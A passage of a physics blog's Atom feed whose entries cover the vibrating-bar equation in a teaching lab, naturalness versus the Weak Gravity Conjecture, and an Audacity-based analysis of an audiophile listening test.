stretchy="false">)</mo></mtd></mtr></mtable></mrow><mo>)</mo></mrow><mo>=</mo><mn>0</mn></mrow><annotation encoding='application/x-tex'>
  979.   \det\begin{pmatrix}\cosh(k L) &#x2d; \cos(k L)&amp;\sinh(k L) &#x2d; \sin(k L)\\ \sinh(k L) + \sin(k L)&amp; \cosh(k L) &#x2d; \cos(k L)\end{pmatrix}=0
  980. </annotation></semantics></math>
  981. or</p>
  982.  
  983. <div class='numberedEq' id='e2702:newmodes'><span>(7)</span>
  984. <math xmlns='http://www.w3.org/1998/Math/MathML' display='block'><semantics><mrow><mi>cosh</mi><mo stretchy="false">(</mo><mi>k</mi><mi>L</mi><mo stretchy="false">)</mo><mi>cos</mi><mo stretchy="false">(</mo><mi>k</mi><mi>L</mi><mo stretchy="false">)</mo><mo>=</mo><mn>1</mn></mrow><annotation encoding='application/x-tex'>
  985. \cosh(k L)\cos(k L) = 1
  986. </annotation></semantics></math>
  987. </div>
  988.  
  989. <p>which is nothing like (<a href="#e2702:modes">4</a>). The first few solutions to (<a href="#e2702:newmodes">7</a>) are <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>k</mi><mi>L</mi><mo>=</mo><mn>1.50562</mn><mi>&#x003C0;</mi><mo>,</mo><mspace width="thinmathspace"/><mn>2.49975</mn><mi>&#x003C0;</mi><mo>,</mo><mspace width="thinmathspace"/><mn>3.50001</mn><mi>&#x003C0;</mi></mrow><annotation encoding='application/x-tex'>k L = 1.50562\pi,\, 2.49975\pi,\, 3.50001\pi</annotation></semantics></math>, and the lowest mode has a vague (and somewhat accidental) resemblance to the <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>n</mi><mo>=</mo><mn>2</mn></mrow><annotation encoding='application/x-tex'>n=2</annotation></semantics></math> mode of (<a href="#e2702:normalmodes">5</a>).</p>
  990.  
  991. <p>Analyzing the solutions to (<a href="#e2702:Euler">6</a>) is very interesting, but arguably <em>way</em> more complicated than we ought to be doing for students still struggling to understand (<a href="#e2702:waveeqn">1</a>). But assigning them the task of studying the vibrating bar experimentally, and <em>telling</em> them that it&#8217;s governed by (<a href="#e2702:waveeqn">1</a>), is just a <em>complete</em> disservice.</p>
  992.  
  993. <p>What were the folks who designed the lab <em>thinking</em>?</p>
  994.  
  995.      </div>
  996.    </content>
  997.  </entry>
  998.  <entry>
  999.    <title type="html">Naturalness Versus the Weak Gravity Conjecture</title>
  1000.    <link rel="alternate" type="application/xhtml+xml" href="https://golem.ph.utexas.edu/~distler/blog/archives/002698.html" />
  1001.    <updated>2014-02-12T05:40:10Z</updated>
  1002.    <published>2014-02-11T20:32:53-06:00</published>
  1003.    <id>tag:golem.ph.utexas.edu,2014:%2F~distler%2Fblog%2F1.2698</id>
  1004.    <summary type="text">Some comments on a paper by Cheung and Remmen</summary>
  1005.    <author>
  1006.      <name>distler</name>
  1007.      <uri>https://golem.ph.utexas.edu/~distler/blog/</uri>
  1008.      <email>[email protected]</email>
  1009.    </author>
  1010.    <category term="Physics" />
  1011.    <content type="xhtml" xml:base="https://golem.ph.utexas.edu/~distler/blog/archives/002698.html">
  1012.      <div xmlns="http://www.w3.org/1999/xhtml">
  1013. <div><a href="http://golem.ph.utexas.edu/~distler/blog/mathml.html"><img class="mathlogo" src="https://golem.ph.utexas.edu/~distler/blog/images/MathML.png" alt="MathML-enabled post (click for more details)." title="MathML-enabled post (click for details)." /></a></div>
  1014.  
  1015. <p>Clifford Cheung and his student have a <a href="http://arxiv.org/abs/1402.2287">cute paper</a> on the arXiv. The boldest version of what they&#8217;re suggesting is that, perhaps, quantum gravity solves the hierarchy problem.</p>
  1016.  
  1017. <p>That&#8217;s way too glib a summary, but the detailed version is still pretty surprising.</p>
  1018.  
  1019. <div><a href="http://golem.ph.utexas.edu/~distler/blog/mathml.html"><img class="mathlogo" src="https://golem.ph.utexas.edu/~distler/blog/images/MathML.png" alt="MathML-enabled post (click for more details)." title="MathML-enabled post (click for details)." /></a></div>
  1020.  
  1021. <p>Recall that the <a href="http://arxiv.org/abs/hep-th/0601001">Weak Gravity Conjecture</a> (WGC) puts a lower bound on the charge-to-mass ratio of the lightest particle charged under an (unbroken) <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>U</mi><mo stretchy="false">(</mo><mn>1</mn><mo stretchy="false">)</mo></mrow><annotation encoding='application/x-tex'>U(1)</annotation></semantics></math> gauge group:</p>
  1022.  
  1023. <div class="numberedEq" id="e2698:WGC"><span>(1)</span><math xmlns='http://www.w3.org/1998/Math/MathML' display='block'><semantics><mrow><mfrac><mi>q</mi><mi>m</mi></mfrac><mo>&gt;</mo><mfrac><mn>1</mn><mrow><msub><mi>M</mi> <mtext>pl</mtext></msub></mrow></mfrac></mrow><annotation encoding='application/x-tex'>\frac{q}{m} \gt \frac{1}{M_{\text{pl}}}
  1024. </annotation></semantics></math></div>
  1025.  
  1026. <p>In a theory which violates this bound, you could form a blackhole (from nonsingular initial data), which would evaporate to form a stable remnant with
  1027. <math xmlns='http://www.w3.org/1998/Math/MathML' display='block'><semantics><mrow><mfrac><mrow><msub><mi>q</mi> <mtext>BH</mtext></msub></mrow><mrow><msub><mi>M</mi> <mtext>BH</mtext></msub></mrow></mfrac><mo>=</mo><mfrac><mn>1</mn><mrow><msub><mi>M</mi> <mtext>pl</mtext></msub></mrow></mfrac></mrow><annotation encoding='application/x-tex'>
  1028.    \frac{q_{\text{BH}}}{M_{\text{BH}}} = \frac{1}{M_{\text{pl}}}
  1029. </annotation></semantics></math>
  1030. (the extremal Reissner-Nordstrom bound). For a variety of reasons (explained in the original WGC paper), this is anathema, and the spectrum of any low-energy effective field theory, containing such a <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>U</mi><mo stretchy="false">(</mo><mn>1</mn><mo stretchy="false">)</mo></mrow><annotation encoding='application/x-tex'>U(1)</annotation></semantics></math>, should also contain the requisite light charged states, which satisfy the bound and allow the blackhole to evaporate completely.</p>
  1031.  
  1032. <p>Cheung and Remmen point out something peculiar: namely that, while the numerator of (<a href="#e2698:WGC">1</a>) is multiplicatively renormalized, the denominator is &#8212; in some theories &#8212; additively renormalized, and <abbr title="UltraViolet">UV</abbr>-sensitive. A classic example is scalar QED:
  1033. <math xmlns='http://www.w3.org/1998/Math/MathML' display='block'><semantics><mrow><mi>&#x02112;</mi><mo>=</mo><mo lspace="verythinmathspace" rspace="0em">&#x02212;</mo><mfrac><mn>1</mn><mn>4</mn></mfrac><msup><mi>F</mi> <mn>2</mn></msup><mo>+</mo><mo stretchy="false">&#x0007C;</mo><msub><mi>D</mi> <mi>&#x003BC;</mi></msub><mi>&#x03D5;</mi><msup><mo stretchy="false">&#x0007C;</mo> <mn>2</mn></msup><mo>&#x02212;</mo><msup><mi>m</mi> <mn>2</mn></msup><mo stretchy="false">&#x0007C;</mo><mi>&#x03D5;</mi><msup><mo stretchy="false">&#x0007C;</mo> <mn>2</mn></msup><mo>&#x02212;</mo><mi>&#x003BB;</mi><mo stretchy="false">&#x0007C;</mo><mi>&#x03D5;</mi><msup><mo stretchy="false">&#x0007C;</mo> <mn>4</mn></msup></mrow><annotation encoding='application/x-tex'>
  1034.  \mathcal{L} = &#x2d;\frac{1}{4}F^2 + |D_\mu \phi|^2 &#x2d; m^2 |\phi|^2 &#x2d; \lambda |\phi|^4
  1035. </annotation></semantics></math>
  1036. The scalar mass receive quadratically-divergent corrections, and it is <em>unnatural</em> for the mass to be much less than the <abbr>UV</abbr> cutoff of the effective theory, <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><msup><mi>m</mi> <mn>2</mn></msup><mo>&#x0226A;</mo><msup><mi>&#x0039B;</mi> <mn>2</mn></msup></mrow><annotation encoding='application/x-tex'>m^2 \ll \Lambda^2</annotation></semantics></math>. Another example (more of which, anon) is a charged fermion which receives its mass via the Higgs mechanism. The Higgs VEV is <abbr>UV</abbr>-sensitive, and it is <em>unnatural</em> for it to be much below the cutoff scale. So, again, it is technically natural for the numerator of (<a href="#e2698:WGC">1</a>) to be arbitrarily small, but naturalness suggests that the denominator cannot be, leading to a violation of the bound.</p>
  1037.  
  1038. <p>As an example, they consider a variant of the Standard Model with right-handed neutrinos, <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><msub><mi>&#x003BD;</mi> <mi>R</mi></msub></mrow><annotation encoding='application/x-tex'>\nu_R</annotation></semantics></math>, and an <em>unbroken</em> gauged <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>U</mi><mo stretchy="false">(</mo><mn>1</mn><msub><mo stretchy="false">)</mo> <mrow><mi>B</mi><mo>&#x02212;</mo><mi>L</mi></mrow></msub></mrow><annotation encoding='application/x-tex'>U(1)_{B&#x2d;L}</annotation></semantics></math>. The neutrino masses, <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><msub><mi>m</mi> <mi>&#x003BD;</mi></msub><mo>&#x0223C;</mo><msub><mi>y</mi> <mi>&#x003BD;</mi></msub><mo stretchy="false">&#x027E8;</mo><mi>H</mi><mo stretchy="false">&#x027E9;</mo></mrow><annotation encoding='application/x-tex'>m_\nu \sim y_\nu \langle H\rangle</annotation></semantics></math>, are entirely due to the Higgs mechanism
  1039. <math xmlns='http://www.w3.org/1998/Math/MathML' display='block'><semantics><mrow><mi>&#x02112;</mi><mo>=</mo><mo>.</mo><mo>.</mo><mo>.</mo><mo>+</mo><msub><mi>y</mi> <mi>&#x003BD;</mi></msub><msub><mi>&#x003BD;</mi> <mi>R</mi></msub><mi>H</mi><mi>L</mi><mo>+</mo><mtext>h.c.</mtext></mrow><annotation encoding='application/x-tex'>
  1040.   \mathcal{L} = ... + y_\nu \nu_R H L + \text{h.c.}
  1041. </annotation></semantics></math>
  1042. and the lightest neutrino (<math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><msub><mi>m</mi> <mi>&#x003BD;</mi></msub><mo>&#x0223C;</mo><mn>0.1</mn><mtext>eV</mtext></mrow><annotation encoding='application/x-tex'>m_\nu\sim 0.1 \text{eV}</annotation></semantics></math>) must satisfy (<a href="#e2698:WGC">1</a>) for <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>U</mi><mo stretchy="false">(</mo><mn>1</mn><msub><mo stretchy="false">)</mo> <mrow><mi>B</mi><mo>&#x02212;</mo><mi>L</mi></mrow></msub></mrow><annotation encoding='application/x-tex'>U(1)_{B&#x2d;L}</annotation></semantics></math>. This means that the <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>U</mi><mo stretchy="false">(</mo><mn>1</mn><msub><mo stretchy="false">)</mo> <mrow><mi>B</mi><mo>&#x02212;</mo><mi>L</mi></mrow></msub></mrow><annotation encoding='application/x-tex'>U(1)_{B&#x2d;L}</annotation></semantics></math> can be as small as <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>g</mi><mo>&#x0223C;</mo><msup><mn>10</mn> <mrow><mo lspace="verythinmathspace" rspace="0em">&#x02212;</mo><mn>29</mn></mrow></msup></mrow><annotation encoding='application/x-tex'>g\sim 10^{&#x2d;29}</annotation></semantics></math> &#8212; an absurdly small, but technically natural value. If it <em>were</em> this small, then &#8211; for fixed <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><msub><mi>y</mi> <mi>&#x003BD;</mi></msub></mrow><annotation encoding='application/x-tex'>y_\nu</annotation></semantics></math> &#8211; the Higgs VEV could not be made much larger than <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mo stretchy="false">&#x027E8;</mo><mi>H</mi><mo stretchy="false">&#x027E9;</mo><mo>&#x0223C;</mo><mn>246</mn><mtext>GeV</mtext></mrow><annotation encoding='application/x-tex'>\langle H\rangle\sim 246 \text{GeV}</annotation></semantics></math>, without violating the bound (<a href="#e2698:WGC">1</a>).</p>
  1043.  
  1044. <p>In other words, whatever mysterious <abbr>UV</abbr> physics embeds this variant of the <abbr title="Standard Model">SM</abbr> in quantum gravity, it must be such as to solve the Hierarchy Problem and guarantee a low electroweak scale.</p>
  1045.  
  1046. <p>That sounds crazy. But I think the actually crazy part is the innocuous-sounding assumption that we can take the <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>U</mi><mo stretchy="false">(</mo><mn>1</mn><mo stretchy="false">)</mo></mrow><annotation encoding='application/x-tex'>U(1)</annotation></semantics></math> gauge coupling to be arbitrarily weak. String Theory puts real impediments in the way of achieving such a scenario.</p>
  1047.  
  1048. <p>In F-theory, for instance, 4D gauge theories are associated to 7-branes wrapped on divisors, <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>D</mi><mo>&#x02282;</mo><mi>B</mi></mrow><annotation encoding='application/x-tex'>D \subset B</annotation></semantics></math>, where <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>B</mi></mrow><annotation encoding='application/x-tex'>B</annotation></semantics></math> is a complex 3-fold (the base of an elliptically-fibered Calabi-Yau 4-fold). The 4D gauge coupling is
  1049. <math xmlns='http://www.w3.org/1998/Math/MathML' display='block'><semantics><mrow><msup><mi>g</mi> <mn>2</mn></msup><mo>&#x0223C;</mo><mfrac><mn>1</mn><mrow><mover><mi>V</mi><mo stretchy="false">&#x002DC;</mo></mover><mo stretchy="false">(</mo><mi>D</mi><mo stretchy="false">)</mo></mrow></mfrac></mrow><annotation encoding='application/x-tex'>
  1050.   g^2 \sim \frac{1}{\tilde{V}(D)}
  1051. </annotation></semantics></math>
  1052. where <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mover><mi>V</mi><mo stretchy="false">&#x002DC;</mo></mover><mo stretchy="false">(</mo><mi>D</mi><mo stretchy="false">)</mo></mrow><annotation encoding='application/x-tex'>\tilde{V}(D)</annotation></semantics></math> is the volume of <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>D</mi></mrow><annotation encoding='application/x-tex'>D</annotation></semantics></math> in 10D Planck units. On the other hand, the 4D Planck scale is
  1053. <math xmlns='http://www.w3.org/1998/Math/MathML' display='block'><semantics><mrow><msubsup><mi>M</mi> <mtext>pl</mtext> <mn>2</mn></msubsup><mo>&#x0223C;</mo><msubsup><mi>M</mi> <mn>10</mn> <mn>2</mn></msubsup><mover><mi>V</mi><mo stretchy="false">&#x002DC;</mo></mover><mo stretchy="false">(</mo><mi>B</mi><mo stretchy="false">)</mo></mrow><annotation encoding='application/x-tex'>
  1054.   M_{\text{pl}}^2 \sim  M_{10}^2 \tilde{V}(B)
  1055. </annotation></semantics></math>
  1056. where <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mover><mi>V</mi><mo stretchy="false">&#x002DC;</mo></mover><mo stretchy="false">(</mo><mi>B</mi><mo stretchy="false">)</mo></mrow><annotation encoding='application/x-tex'>\tilde{V}(B)</annotation></semantics></math> is the volume of <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>B</mi></mrow><annotation encoding='application/x-tex'>B</annotation></semantics></math> in 10D Planck units and <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><msub><mi>M</mi> <mn>10</mn></msub></mrow><annotation encoding='application/x-tex'>M_{10}</annotation></semantics></math> is the 10D Planck mass. We would like <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mover><mi>V</mi><mo stretchy="false">&#x002DC;</mo></mover><mo stretchy="false">(</mo><mi>B</mi><mo stretchy="false">)</mo><mo>&#x0226B;</mo><mn>1</mn></mrow><annotation encoding='application/x-tex'>\tilde{V}(B) \gg 1</annotation></semantics></math>, so that we can use 10D supegravity, algebraic geometry techniques <em>etc.,</em> to study the F-theory compactification. But we don&#8217;t want <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mover><mi>V</mi><mo stretchy="false">&#x002DC;</mo></mover><mo stretchy="false">(</mo><mi>B</mi><mo stretchy="false">)</mo><mo>&#x022D9;</mo><mn>1</mn></mrow><annotation encoding='application/x-tex'>\tilde{V}(B)\ggg 1</annotation></semantics></math>; otherwise the cutoff (the Kaluza-Klein scale <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>&#x0039B;</mi><mo>&#x0223C;</mo><msub><mi>M</mi> <mn>10</mn></msub><msup><mrow><mover><mi>V</mi><mo stretchy="false">&#x002DC;</mo></mover><mo stretchy="false">(</mo><mi>B</mi><mo stretchy="false">)</mo></mrow> <mrow><mo lspace="verythinmathspace" rspace="0em">&#x02212;</mo><mn>1</mn><mo stretchy="false">/</mo><mn>6</mn></mrow></msup><mo>&#x0223C;</mo><msub><mi>M</mi> <mtext>pl</mtext></msub><msup><mrow><mover><mi>V</mi><mo stretchy="false">&#x002DC;</mo></mover><mo stretchy="false">(</mo><mi>B</mi><mo stretchy="false">)</mo></mrow> <mrow><mo lspace="verythinmathspace" rspace="0em">&#x02212;</mo><mn>2</mn><mo stretchy="false">/</mo><mn>3</mn></mrow></msup></mrow><annotation encoding='application/x-tex'>\Lambda\sim M_{10}{\tilde{V}(B)}^{&#x2d;1/6} \sim M_{\text{pl}} {\tilde{V}(B)}^{&#x2d;2/3}</annotation></semantics></math>), beyond which the 4D effective field theory description breaks down, is too low.</p>
  1057.  
  1058. <p>But once we put an upper bound on <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mover><mi>V</mi><mo stretchy="false">&#x002DC;</mo></mover><mo stretchy="false">(</mo><mi>B</mi><mo stretchy="false">)</mo></mrow><annotation encoding='application/x-tex'>\tilde{V}(B)</annotation></semantics></math>, we&#8217;re no longer free to contemplate an arbitrarily large <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mover><mi>V</mi><mo stretchy="false">&#x002DC;</mo></mover><mo stretchy="false">(</mo><mi>D</mi><mo stretchy="false">)</mo></mrow><annotation encoding='application/x-tex'>\tilde{V}(D)</annotation></semantics></math>. So we <em>can&#8217;t</em> make the gauge coupling arbitrarily weak.</p>
  1059.  
  1060. <p>Similar considerations obtain in other string theory scenarios: arbitrarily weak gauge couplings imply a <abbr>UV</abbr> cutoff <em>way</em> below the 4D Planck scale. Indeed this was one of the points of the original <a href="http://arxiv.org/abs/hep-th/0601001">Weak Gravity paper</a>, as I discussed &#8212; at some length &#8212; <a href="http://golem.ph.utexas.edu/~distler/blog/archives/000728.html">back in the day</a>. This &#8220;unexpectedly&#8221; lower cutoff scale <em>always</em> intervenes to prevent the would-be conflict in (<a href="#e2698:WGC">1</a>), between naturalness and the Weak Gravity Conjecture.</p>
  1061.  
  1062.      </div>
  1063.    </content>
  1064.  </entry>
  1065.  <entry>
  1066.    <title type="html">Audiophilia</title>
  1067.    <link rel="alternate" type="application/xhtml+xml" href="https://golem.ph.utexas.edu/~distler/blog/archives/002695.html" />
  1068.    <updated>2014-09-18T01:14:01Z</updated>
  1069.    <published>2014-02-07T12:27:11-06:00</published>
  1070.    <id>tag:golem.ph.utexas.edu,2014:%2F~distler%2Fblog%2F1.2695</id>
  1071.    <summary type="text">On the perils of not controlling all your variables.</summary>
  1072.    <author>
  1073.      <name>distler</name>
  1074.      <uri>https://golem.ph.utexas.edu/~distler/blog/</uri>
  1075.      <email>[email protected]</email>
  1076.    </author>
  1077.    <category term="Music" />
  1078.    <content type="xhtml" xml:base="https://golem.ph.utexas.edu/~distler/blog/archives/002695.html">
  1079.      <div xmlns="http://www.w3.org/1999/xhtml">
  1080. <p>Humans are hard-wired to find patterns.</p>
  1081.  
  1082. <p>Even when there are none.</p>
  1083.  
  1084. <p>Explaining those patterns (at least, the ones which are real) is what science is all about. But, even there, lie pitfalls. Have you really controlled for all of the variable which might have led to the result? </p>
  1085.  
  1086. <p>A certain audiophile and journalist <a href="http://www.analogplanet.com/content/same-file-different-file-0">posted a pair of files</a>, containing a ~43sec clip of music, and challenged his readers to see if they could hear the difference between them. Sure enough, &#8220;File A&#8221; sounds a touch brighter than &#8220;File B.&#8221; A lively discussion ensued, before <a href="http://www.analogplanet.com/content/ending-peter-paul-mary-mystery">he revealed</a> the &#8220;reason&#8221; for the difference:</p>
  1087.  
  1088. <ul>
  1089. <li>File B was recorded, from his turntable, via a straight-through cable.</li>
  1090. <li>File A was recorded, from his turntable, via a cable that passed through a switchbox.</li>
  1091. </ul>
  1092.  
  1093. <p>Somehow or other, the switchbox (or the associated cabling) was responsible for the added brightness. An even more lively discussion ensued.</p>
  1094.  
  1095. <p>Now, if you open up the two files in <a href="http://audacity.sourceforge.net/">Audacity</a>, you discover something interesting: File A gets from the beginning of the musical clip to the same point at the <em>end</em> of the clip 43 milliseconds <em>faster</em> than File B does. That&#8217;s a 0.1% difference in speed (and hence pitch) of the recording. Such a difference, while too small to be directly discernible as a change in pitch, ought to be clearly perceptible as &#8220;brighter.&#8221;</p>
  1096.  
  1097. <p>On the other hand, I would contend that putting a switchbox in the signal path cannot possibly cause the information, traveling down the wire, to have shorter duration. The far more likely explanation was that there was a 0.1% variation in the speed of Mr. Fremer&#8217;s turntable between the two recordings.</p>
  1098.  
  1099. <p>I used Audacity&#8217;s &#8220;Change speed &#8230;&#8221; effect to slow down File A (by -0.099 percent), clipped the result (so that the two files have exactly the same duration), and posted them below. </p>
  1100.  
  1101. <ul>
  1102. <li><a href="http://golem.ph.utexas.edu/~distler/blog/files/2014-file-D.flac">One file</a>.</li>
  1103. <li><a href="http://golem.ph.utexas.edu/~distler/blog/files/2014-file-C.flac">The other file</a>.</li>
  1104. </ul>
  1105.  
  1106. <p>See if you can tell which one is Mr. Fremer&#8217;s File A, and which is his File B, and, <em>more importantly,</em> whether you can detect a difference in the brightness (or edginess or whatever other audiophiliac descriptions you&#8217;d like to attach to them), now that the speed difference has been corrected.</p>
  1107.  
  1108. <h4 id="AudiophiliaU1" class="update">Update: (2/9/2014)</h4>
  1109.  
  1110. <p>As I said in the comments, and as anyone who opens up the files in Audacity immediately discovers, it is <em>easy</em> to tell which file is which,  by examining their waveforms. Here are Files &#8220;B&#8221; (upper) and &#8220;D&#8221; (lower)</p>
  1111.  
  1112. <div class="centeredfigure" style="overflow:auto;height:436px;width:595px;">
  1113. <a href="https://golem.ph.utexas.edu/~distler/blog/images/Fremer-BD.png"><img style="width:595px;height:428px" src="https://golem.ph.utexas.edu/~distler/blog/images/Fremer-BD_small.png" alt="Waveforms of Files B and D"/></a></div>
  1114.  
  1115. <p>(click on any image for a larger view). It&#8217;s not obvious, from this picture that they&#8217;re the same (bear with me, about that). But, if we think they are, it&#8217;s easy enough to check.</p>
  1116.  
  1117. <ol>
  1118. <li>First, zoom in as far as you can.</li>
  1119. <li>Then use the time-shift tool, to align the two waveforms precisely, at some point in the clip. It&#8217;s best to focus on a segment with some high frequency (rapidly varying) content. Fortunately, the pops and clicks on Mr. Fremer&#8217;s vinyl record give us plenty to choose from.</li>
  1120. <li>Now select one of the wave-forms, and choose &#8220;<code>Effect</code>&#8220;&#x2192;&#8221;<code>Invert</code>&#8221;.</li>
  1121. <li>Finally, select both and choose &#8220;<code>Tracks</code>&#8220;&#x2192;&#8221;<code>Mix and Render</code>&#8221;.</li>
  1122. </ol>
  1123.  
  1124. <p>If we&#8217;re correct, the two traces should precisely cancel each other out.</p>
  1125.  
  1126. <div class="centeredfigure" style="overflow:auto;height:290px;width:615px;">
  1127. <a href="https://golem.ph.utexas.edu/~distler/blog/images/Fremer-BD_cancelled.png"><img style="width:615px;height:282px" src="https://golem.ph.utexas.edu/~distler/blog/images/Fremer-BD_cancelled_small.png" alt="Exact cancellation Files B and D"/></a></div>
  1128.  
  1129. <p>And they do (except for the little bits at the beginning and end that I trimmed in creating File &#8220;D&#8221;). Note that I magnified the vertical scale by a factor of 5, so that you can really see the perfect cancellation.</p>
  1130.  
  1131. <p>You can repeat the same procedure for Files &#8220;B&#8221; and &#8220;C&#8221; but, no matter how carefully you perform step 2, you can never get anything close to perfect cancellation. So, <em>without even listening to the files</em>, Mr. Fremer (after he got over his initial misapprehension that &#8220;C&#8221; and &#8220;D&#8221; were the same) was able to <a href="#c045793">confidently determine which was which</a>.</p>
  1132.  
  1133. <p>In a way, that&#8217;s rather disappointing, because it doesn&#8217;t really tell us anything about <em>how different</em> &#8220;C&#8221; and &#8220;D&#8221; are, and whether fixing the speed of the former diminished, in any way, the perceptible differences between them. As Mr. Fremer <a href="(#c045793">says</a>,</p>
  1134.  
  1135. <blockquote>
  1136.  <p>As to how the two files sound, I didn&#8217;t have time last night to listen but will do so today. Of course I know which is which so I&#8217;m not sure what my result might prove.</p>
  1137. </blockquote>
  1138.  
  1139. <p>But, since we have Audacity fired up, let&#8217;s see what the story is.</p>
  1140.  
  1141. <p>Though I said that, for the clip as a whole, there&#8217;s no way to line the tracks, so as to achieve cancellation, on a <em>short-enough timescale</em>, you can get very good (though, of course, not perfect) cancellation. The cancellation doesn&#8217;t persist &#8211; the tracks wander in and out of phase with each other<sup><a href='#AudiophiliaF1'>&#x262D;</a></sup>, due (at least in part, if not in toto) to the wow-and-flutter of Mr. Fremer&#8217;s turntable. </p>
  1142.  
  1143. <p>Here&#8217;s an example (chosen because Mr. Fremer <a href="http://www.analogplanet.com/content/andys-gang-called-it-correctly">seemed to think</a> that there&#8217;s a flagrant disparity in the waveforms, right in the <em>middle</em> of this excerpt).</p>
  1144.  
  1145. <div class="centeredfigure" style="overflow:auto;height:483px;width:734px;">
  1146. <a href="https://golem.ph.utexas.edu/~distler/blog/images/Fremer-CD_trimmed.png"><img style="width:734px;height:433px" src="https://golem.ph.utexas.edu/~distler/blog/images/Fremer-CD_trimmed_small.png" alt="1/4 second excerpt from Files C and D."/></a><br/><span class="figurecaption">File C (upper) and D (lower), from 32.750s to 33.000s.</span></div>
  1147.  
  1148. <p>Following the procedure outlined above, we align the two clips at the center, and attempt to cancel the waveforms:</p>
  1149.  
  1150. <div class="centeredfigure" style="overflow:auto;height:297px;width:734px;">
  1151. <a href="https://golem.ph.utexas.edu/~distler/blog/images/Fremer-CD_trimmed_cancelled.png"><img style="width:734px;height:289px" src="https://golem.ph.utexas.edu/~distler/blog/images/Fremer-CD_trimmed_cancelled_small.png" alt="1/4 second excerpt from Files C and D."/></a></div>
  1152.  
  1153. <p>They cancel very well at the center, but progressively poorly as you move to either end, where the two tracks wander out-of-phase. Notice the sharp spikes. If you zoom in, you&#8217;ll notice that these are actually S-shaped: they&#8217;re the result of superposing two musical peaks (one of which we inverted, of course) that have gotten slightly out-of-phase with each other. They cancel at the center, but not at either end, where they have ceased to overlap. Of course, not just the peaks but everything else has <em>also</em> gone out-of-phase, so these S-shaped spikes sit on top of an incomprehensible hash.</p>
  1154.  
  1155. <p>You can repeat the process for other short excerpts, with similar-looking results.</p>
  1156.  
  1157. <p>Now, &#8220;Andy&#8221;, <a href="#c045790">below</a>, says he heard a systematic difference between the files, similar to what others reported for Fremer&#8217;s Files &#8220;A&#8221; and &#8220;B.&#8221; That bears further investigation. But I&#8217;ve said to Mr. Fremer that, if he really wants to get to the bottom of what differences, if any, <em>the cables</em> contributed to these recordings, it would be best to eliminate the wow-and-flutter that is clearly responsible for most (if not all) of the <em>visible</em> differences displayed here.</p>
  1158.  
  1159. <p>He should start with a digital source (like, say, one of the 24/96 FLAC files we&#8217;ve been discussing), played back through the two different cables he wants to test. That source, at least, won&#8217;t vary (in a random and uncontrollable fashion) from one playback to the next.</p>
  1160.  
  1161. <p>Repeatability is another one of those things that we strive for in Science.</p>
  1162.  
  1163. <hr/>
  1164.  
  1165. <div id="AudiophiliaF1" class="footnote"><p><sup>&#x262D;</sup> In fact, it is that wandering in-and-out of phase that is the most glaring difference between the files and it (rather than the more sophisticated procedure that I outlined above) is what makes it trivial, for even a casual observer, to pick out which file is which.</p></div>
  1166.  
  1167.      </div>
  1168.    </content>
  1169.  </entry>
  1170.  <entry>
  1171.    <title type="html">The Bus Stop Problems</title>
  1172.    <link rel="alternate" type="application/xhtml+xml" href="https://golem.ph.utexas.edu/~distler/blog/archives/002680.html" />
  1173.    <updated>2014-01-07T17:03:47Z</updated>
  1174.    <published>2013-12-28T16:42:24-06:00</published>
  1175.    <id>tag:golem.ph.utexas.edu,2013:%2F~distler%2Fblog%2F1.2680</id>
  1176.    <summary type="text">Evan Soltas poses some puzzles.</summary>
  1177.    <author>
  1178.      <name>distler</name>
  1179.      <uri>https://golem.ph.utexas.edu/~distler/blog/</uri>
  1180.      <email>[email protected]</email>
  1181.    </author>
  1182.    <category term="Economics" />
  1183.    <content type="xhtml" xml:base="https://golem.ph.utexas.edu/~distler/blog/archives/002680.html">
  1184.      <div xmlns="http://www.w3.org/1999/xhtml">
  1185. <div><a href="http://golem.ph.utexas.edu/~distler/blog/mathml.html"><img class="mathlogo" src="https://golem.ph.utexas.edu/~distler/blog/images/MathML.png" alt="MathML-enabled post (click for more details)." title="MathML-enabled post (click for details)." /></a></div>
  1186.  
  1187. <p>Since we had so much <a href="http://golem.ph.utexas.edu/~distler/blog/archives/002652.html">fun with Bayes Theorem in a recent post</a>, I can&#8217;t resist another.</p>
  1188.  
  1189. <p>Young Economics whippersnapper Evan Soltas <a href="http://esoltas.blogspot.com/2013/12/the-unmarked-bus-stop.html">posed two problems</a> to do with Bayesian probability:</p>
  1190.  
  1191. <ol>
